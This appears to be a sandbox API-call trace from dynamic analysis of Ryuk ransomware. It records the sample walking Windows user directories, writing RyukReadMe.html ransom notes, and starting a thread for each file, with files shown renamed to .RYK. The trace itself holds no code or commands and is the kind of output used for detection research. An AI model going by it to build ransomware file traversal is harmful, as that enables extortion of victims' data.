	[0204.168] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0204.168] GetLastError () returned 0xb7
	[0204.168] CloseHandle (hObject=0x4ac) returned 1
	[0204.168] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0204.169] SetLastError (dwErrCode=0x0) 
	[0204.169] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0204.169] GetLastError () returned 0xb7
	[0204.169] CloseHandle (hObject=0x4ac) returned 1
	[0204.169] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f0a0
	[0204.169] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.174] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x170, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0204.174] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0204.177] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.178] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0204.178] SetLastError (dwErrCode=0x0) 
	[0204.178] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.178] GetLastError () returned 0xb7
	[0204.178] CloseHandle (hObject=0x438) returned 1
	[0204.179] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0204.179] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.179] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x17c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.179] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x17c, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0204.179] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0204.182] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.183] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x17c, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0204.183] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0204.185] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.186] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x17c, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0204.186] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0204.186] SetLastError (dwErrCode=0x0) 
	[0204.186] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.187] GetLastError () returned 0xb7
	[0204.187] CloseHandle (hObject=0x438) returned 1
	[0204.187] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.187] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.187] FindClose (in: hFindFile=0x29f0a0 | out: hFindFile=0x29f0a0) returned 1
	[0204.187] SetLastError (dwErrCode=0x0) 
	[0204.188] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0204.188] GetLastError () returned 0xb7
	[0204.188] CloseHandle (hObject=0x4ac) returned 1
	[0204.188] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x164, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0204.188] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x164, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0204.189] FindClose (in: hFindFile=0x29ee00 | out: hFindFile=0x29ee00) returned 1
	[0204.189] SetLastError (dwErrCode=0x0) 
	[0204.189] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0204.189] GetLastError () returned 0xb7
	[0204.189] CloseHandle (hObject=0x454) returned 1
	[0204.189] FindNextFileW (in: hFindFile=0x29eda0, lpFindFileData=0x10ed60 | out: lpFindFileData=0x10ed60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0204.190] SetLastError (dwErrCode=0x0) 
	[0204.190] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454
	[0204.190] GetLastError () returned 0xb7
	[0204.190] CloseHandle (hObject=0x454) returned 1
	[0204.190] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee00
	[0204.191] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.191] FindNextFileW (in: hFindFile=0x29ee00, lpFindFileData=0x10e630 | out: lpFindFileData=0x10e630*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0204.191] SetLastError (dwErrCode=0x0) 
	[0204.191] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0204.191] GetLastError () returned 0xb7
	[0204.191] CloseHandle (hObject=0x4ac) returned 1
	[0204.191] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f0a0
	[0204.192] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.192] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0204.192] SetLastError (dwErrCode=0x0) 
	[0204.192] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0204.192] GetLastError () returned 0xb7
	[0204.192] CloseHandle (hObject=0x438) returned 1
	[0204.193] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0204.193] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.193] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0204.193] SetLastError (dwErrCode=0x0) 
	[0204.193] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc
	[0204.194] GetLastError () returned 0xb7
	[0204.194] CloseHandle (hObject=0x4fc) returned 1
	[0204.194] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0204.194] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0204.195] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0204.195] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0204.492] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.493] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0204.493] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0204.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248
	[0204.496] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
